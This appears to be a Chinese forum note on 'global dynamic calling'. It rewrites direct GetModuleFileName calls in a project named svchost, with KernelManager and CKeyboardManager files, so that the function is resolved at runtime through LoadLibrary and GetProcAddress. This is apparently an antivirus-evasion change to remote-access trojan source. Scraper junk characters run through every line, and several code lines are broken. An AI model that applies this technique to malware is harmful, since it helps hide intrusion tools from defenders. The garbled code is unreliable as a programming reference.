[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记5 L" ?" F& j7 n# R
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h6 J* F) D' Q1 V" E( E9 D5 q- ^! V
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DTDY.h：
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#if _MSC_VER>10006 O* C' l+ r8 X$ y
#pragma once
7 n( Z9 m: m! `- a! V0 J! w3 _, \5 V#endif //_MSC_VER>1000/ Y( ]* p0 @: ~2 e3 i& r
#include<windows.h>, e/ W3 W! {( H/ j! U' J8 {# `

5 t: _. f* n( z! w' g% s5 Mtypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);, E% g( A- S1 v$ n% F0 k* @
class DTDY7 o0 o) M# Q# |9 a
{
6 J* X% G3 R" K2 vpublic:
( M) s4 L6 K  }! QDTDY();( v9 x: L4 m- m
virtual ~DTDY();5 A8 C! p8 t% m1 a
public:
5 }; ^* w+ ~% i* ?# F  R3 cstatic pGetModuleFileNameA MyGetModuleFileName;6 ~1 M+ N$ K0 V; [; D
static BOOL FunInitiallization();
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#endif
# P8 ?2 G9 u% P2 A+ U----------------------------------------+ l$ B2 M1 e5 v% q7 L
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DTDY.cpp:
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, ~9 K0 P) z) G1 ~#include "DTDY.h"
2 m* {/ I$ g  k0 o* _  [$ n% ~. h. g0 ^pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
% `# E. z! t# G8 P: D" }DTDY:TDY()
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}
, D1 y7 ^' k+ |) F- G( nDTDY::~DTDY()! t7 A* Z0 x2 y1 N- y" E' Y( m7 H- C" C
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}
9 d! r% w" R* h$ Y0 e5 G6 ZBOOL DTDY::FunInitiallization()
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. y9 ?) _( Y1 c6 }4 BHMODULE hModule=LoadLibrary("kernel32.dll");
/ U$ T6 v' c% t9 ~2 H( i0 QMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");6 `. S$ \: I5 o6 K' F/ R! y2 r
if(!MyGetModuleFileName=) return FALSE;: O  d5 J! E& {, w7 z7 V: P+ u
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return TRUE;1 R' T( f! r, n8 G) {! t
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svchost.cpp:
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#include "DTDY.h"7 z  C1 t" i2 Y& W3 [

/ P' L6 n8 C1 @BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
, U: z! A' C% {{
  z, }/ u% q' B3 m' [" Bswitch(ul_reason_for_call)
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case DLL_PROCESS_ATTACH:0 D& B6 j* h% r9 `( w. n; }
if(!DTDY::FunInitiallization()) return FALSE;, z# o  O5 s4 q! Y

# o5 ]0 R3 V- t+ Wbreak;
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def3 j' H4 ]7 P2 A2 x% S! c
改写为# T3 N, j' p) P: \) I
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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KernelManager.cpp:
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6 N/ {+ U+ e4 V& R8 {6 A4 g#include "../DTDY.h"
. K3 D4 Z; f  N3 U8 ^GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));, C) g5 ?1 X- D9 p; C& v
改写为
# ?  c- i6 r( a. O' Y. J, w7 kDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));) @; Y1 H& [" U6 g
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